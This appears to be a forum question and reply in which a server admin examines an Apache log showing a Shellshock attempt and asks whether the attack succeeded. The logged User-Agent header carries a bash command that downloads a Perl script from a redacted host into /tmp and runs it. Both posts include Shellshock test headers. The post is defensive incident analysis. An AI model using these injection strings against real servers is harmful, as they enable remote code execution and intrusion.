I was looking through logs today and noticed the following:
62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /tmp/bo.pl;curl -o /tmp/bo.pl http://[redacted]/bo.pl;chmod +x /tmp/bo.pl;perl /tmp/bo.pl;rm -rf /tmp/bo*\""
As I understand this is an attempt to scan the shellshock vulnerability. I retrieved the file loaded bo.pl - which contained the following...
<html>
<head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://192.168.1.1/blocking.asp?cat_id=78">
</head>
<body></body>
</html>
Now as I understand it this is using the refresh technique to display a blocking.asp page of some sort.
I'm positive given that evidence that this was a malicious attack. The thing that worries me is the log shows 13501 for the response length. But when I tried to use the simple shellshock header to test the ability...
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
I only received the following log entry...
71.121.200.199 - - [26/Dec/2016:18:14:11 -0100] "GET / HTTP/1.1" 200 22 "-" "() { :; }; /bin/eject"
I also went to check the /tmp directory and found two files which don't exactly correspond to the time on the logs but they seem suspicious seeing as its a headless server and these appear to be linked to remote desktop services of some sort.
-rw-r--r-- 1 0 0 8 Dec 25 03:46 httpd_lua_shm.2693
drwxrwxrwt 2 0 0 4096 Dec 24 18:42 .ICE-unix
So my question is - does this appear to be a successful attack due to the fact that the bytes in the response are so large? Is there somewhere else I should be checking besides the bash history and such to look for clues to what happened?
curl -H "User-Agent: () { :; }; /bin/ls" http://example.com/
because if it works, it'll show you a directory listing on your server.bo.pl
is not remotely perl. I suspect 'redacted' is a compromised machine the attacker was using which got detected and 'fixed' (by the owner or some intermediary) to try to give you an error page, but not quite right. Perhaps at the time your server received and executed the exploitbo.pl
was still evil, and did something bad resulting in 13501 bytes.